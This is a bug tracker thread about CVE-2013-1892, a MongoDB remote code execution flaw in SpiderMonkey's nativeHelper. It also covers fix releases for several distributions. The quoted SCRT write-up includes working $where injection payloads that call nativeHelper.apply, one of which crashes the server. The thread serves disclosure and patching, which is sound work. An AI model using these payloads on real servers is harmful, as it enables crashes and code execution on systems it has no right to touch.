Unchecked access to SpiderMonkey’s JavaScript nativeHelper function

[James Page]

Unchecked access to SpiderMonkey’s JavaScript nativeHelper function. See SERVER-9124, Fix available in 2.2.4, 2.4.2, and 2.0.9.

https://jira.mongodb.org/browse/SERVER-9124

[Kurt (kurt-redhat-bugs)]

SCRT Information Security reports:

mongodb – SSJI to RCE
Posted on mars 24, 2013 par agixid
Lucky discovery

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :

> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
Unfortunately, this command is only effective in mongo client :

> db.my_collection.find({$where:"run('ls')"})
error: {
 "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
 "code" : 10071
}
But let’s dig a little bit.

> run
function () {
    return nativeHelper.apply(run_, arguments);
}
So you can run the « run » function directly by calling nativeHelper.apply(run_,["uname","-a"]);
In server side, the result show us that nativeHelper.apply method exists !

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
       "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
       "code" : 10071
}
So what’s run_ ?

So what's "run_"
> run_
{ "x" : 135246144 }
An associative array, can we use it in server side ?

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 24 07:15:26 DBClientCursor::init call() failed
Sun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
The server crashed \o/ !

Let’s check the source code :
./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
        try {
            Convertor c(cx);
            NativeFunction func = reinterpret_cast(
                    static_cast( c.getNumber( obj , "x" ) ) );
            void* data = reinterpret_cast<void*>(
                    static_cast( c.getNumber( obj , "y" ) ) );
            verify( func );

            BSONObj a;
            if ( argc > 0 ) {
                BSONObjBuilder args;
                for ( uintN i = 0; i < argc; ++i ) {
                    c.append( args , args.numStr( i ) , argv[i] );
                }
                a = args.obj();
            }

            BSONObj out;
            try {
                out = func( a, data );
            }
            catch ( std::exception& e ) {
nativeHelper is a crazy feature in spidermonkey missused by mongodb:
the NativeFunction func come from x javascript object and then is called without any check !!!

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})

Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).

External references:
http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/

[Troy (troy-redhat-bugs)]

Has this been tried on the Fedora's mongodb?
I ask that because we use v8 instead of spidermonkey, but I'm not positive that our version of mongodb didn't get something slipped in.

[Kurt (kurt-redhat-bugs)]

Created mongodb tracking bugs for this issue

Affects: epel-all [bug 928192]

[Kurt (kurt-redhat-bugs)]

Created mongodb tracking bugs for this issue

Affects: fedora-all [bug 928193]

[Jan (jan-redhat-bugs)]

References:
  http://www.openwall.com/lists/oss-security/2013/03/25/7

Relevant upstream tracker:
  https://jira.mongodb.org/browse/SERVER-9124

[James Page (james-page)]

Security update for 12.04

[Launchpad Janitor (janitor)]

This bug was fixed in the package mongodb - 1:2.2.4~rc0-0ubuntu1

---------------
mongodb (1:2.2.4~rc0-0ubuntu1) raring; urgency=low

  * New upstream bugfix release:
    - Includes fix for JavaScript remote code execution security
      issue (LP: #1160893).
      CVE-2013-1892
 -- James Page <email address hidden> Thu, 28 Mar 2013 09:13:20 +0000

[Aaron Stone (sodabrew)]

Will there be packages built for Lucid, Oneiric, and Precise that are within their support windows?

[Jamie Strandboge (jdstrand)]

debdiff looks good. Testsuite passes and the build logs look good. Thanks James! Uploaded to the security PPA. I will push out when it finishes building.

[Launchpad Janitor (janitor)]

This bug was fixed in the package mongodb - 1:2.0.4-1ubuntu2.1

---------------
mongodb (1:2.0.4-1ubuntu2.1) precise-security; urgency=low

  * SECURITY UPDATE: Remote code execution vulnerability in Spidermonkey
    JavaScript engine (LP: #1160893).
    - d/p/CVE-2013-1892.1.patch: Avoid raw pointers for SM's nativeHelper.
      Cherry picked from upstream VCS.
    - d/p/CVE-2013-1892.2.patch: Cast id to double before converting to
      JS. Cherry picked from upstream VCS.
    - https://jira.mongodb.org/browse/SERVER-9124
    - CVE-2013-1892
 -- James Page <email address hidden> Thu, 28 Mar 2013 10:04:28 +0000

[Kurt (kurt-redhat-bugs)]

Removed due to typo.

[errata-xmlrpc (errata-xmlrpc-redhat-bugs)]

This issue has been addressed in following products:

  MRG for RHEL-6 v.2

Via RHSA-2013:1170 https://rhn.redhat.com/errata/RHSA-2013-1170.html

[Kurt (kurt-redhat-bugs)]

Red Hat Update Infrastructure 2.1.3 is now in Production 2 Phase of the support and maintenance life cycle. This has been rated as having Important security impact, however as used in RHUI this issue is not exposed to untrusted users, as such it is not currently planned to be addressed in future updates. For additional information, refer to the Red Hat Update Infrastructure Life Cycle: https://access.redhat.com/support/policy/updates/rhui.